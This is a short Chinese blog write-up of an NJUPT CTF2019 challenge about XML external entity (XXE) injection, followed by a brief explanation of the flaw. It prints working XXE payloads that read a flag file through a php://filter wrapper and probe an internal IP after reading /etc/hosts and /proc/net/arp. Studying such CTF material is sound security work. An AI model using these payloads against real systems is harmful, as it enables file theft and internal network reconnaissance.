关于XXE「建议收藏」

关于XXE「建议收藏」NJUPTCTF2019:做题的时候,抓包看了一下,响应XML格式消息,并没有严格过滤,这道题读文件,<!DOCTYPEfoo[<!ENTITYxxeSYSTEM”php://filter/read=convert.base64-encode/resource=/flag”>]><ticket><username>&amp…

大家好,又见面了,我是你们的朋友全栈君。

NJUPT CTF2019:
在这里插入图片描述
做题的时候,抓包看了一下,响应XML格式消息,并没有严格过滤,这道题读文件,

<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag" >]>
<ticket>
<username>&xxe;</username>
<code>aaaa</code>
</ticket>

在这里插入图片描述
通过读取/etc/hosts以及/proc/net/arp,推测主机ip:192.168.1.8

<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "http://192.168.1.8/" >]>
<ticket>
<username>&xxe;</username>
<code>aaaa</code>
</ticket>

漏洞解释:
xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
常见的利用,就和上面的题一样,读文件,嗅探,Dos,Blind XXE

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/142474.html原文链接:https://javaforall.net

(0)
上一篇 2022年5月23日 下午6:00
下一篇 2022年5月23日 下午6:20


相关推荐

  • PyTorch 中的 ModuleList 和 Sequential: 区别和使用场景

    PyTorch 中的 ModuleList 和 Sequential: 区别和使用场景PyTorch 中有一些基础概念在构建网络的时候很重要 比如 nn Module nn ModuleList nn Sequential 这些类我们称之为容器 containers 因为我们可以添加模块 module 到它们之中 这些容器之间很容易混淆 本文中我们主要学习一下 nn ModuleList 和 nn Sequential 并判断在什么时候用哪一个比较合适

    2026年3月18日
    2
  • 520微信代码轰炸

    520微信代码轰炸写一个脚本 在 520 那天发给你的小可爱 coding utf 8 Time 2022 5 1913 36 Author wkbimporttim osimportpyau pypercliptim sleep 5 foriinrange 10 pyautogui click 662 748 pyperclip copy 代码轰炸 hahaha 第 0 次 format i

    2026年3月18日
    2
  • 操作引入xml文件的书包(定位到指定节点)「建议收藏」

    操作引入xml文件的书包(定位到指定节点)

    2022年1月24日
    57
  • 嵌入式移动通信技术研究与发展

    嵌入式移动通信技术研究与发展1 嵌入式移动通信技术的发展现状 Internet 与网络的迅速普及应用 并向家庭领域不断扩展 使消费电子 计算机 通信 3C 一体化趋势日趋明显 嵌入式系统再度成为研究与应用的热点 嵌入式系统被描述为 以应用为中心 软硬件可裁减的 适应应用系统对功能 可靠性 成本 体积 功耗等综合性严格要求的专用计算机系统 嵌入式系统主要由嵌入式处理器 相关支撑硬件 嵌入式操作系统及应

    2026年3月26日
    2
  • 数据库置疑修复方法_msdb数据库置疑的解决方法

    数据库置疑修复方法_msdb数据库置疑的解决方法SQL2000数据库置疑解决方法置疑可能是因为磁盘空间不够或者是日志文件损坏再或者操作时主机突然掉电造成的DB为改名后的数据库,实际要导入的是SMPDB数据库1:新建一个不同名的数据库2:停掉SQLSERVER3:在C:/ProgramFiles/MicrosoftSQLServer/MSSQL/Data中用备份的数据库MDF的文件覆盖掉这个数据库文件4:重启SQL5:执行以下语句紧急打开置疑的数据库(注意空格)数据库紧急打开代码如下: USEMASTER  GO  SP_CONF

    2022年8月20日
    13
  • Apache Struts2再爆高危漏洞

    Apache Struts2再爆高危漏洞60网站安全检测最新struts2命令执行漏洞分析时间:2013-07-1809:46 在struts2中,DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,

    2022年7月13日
    14

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号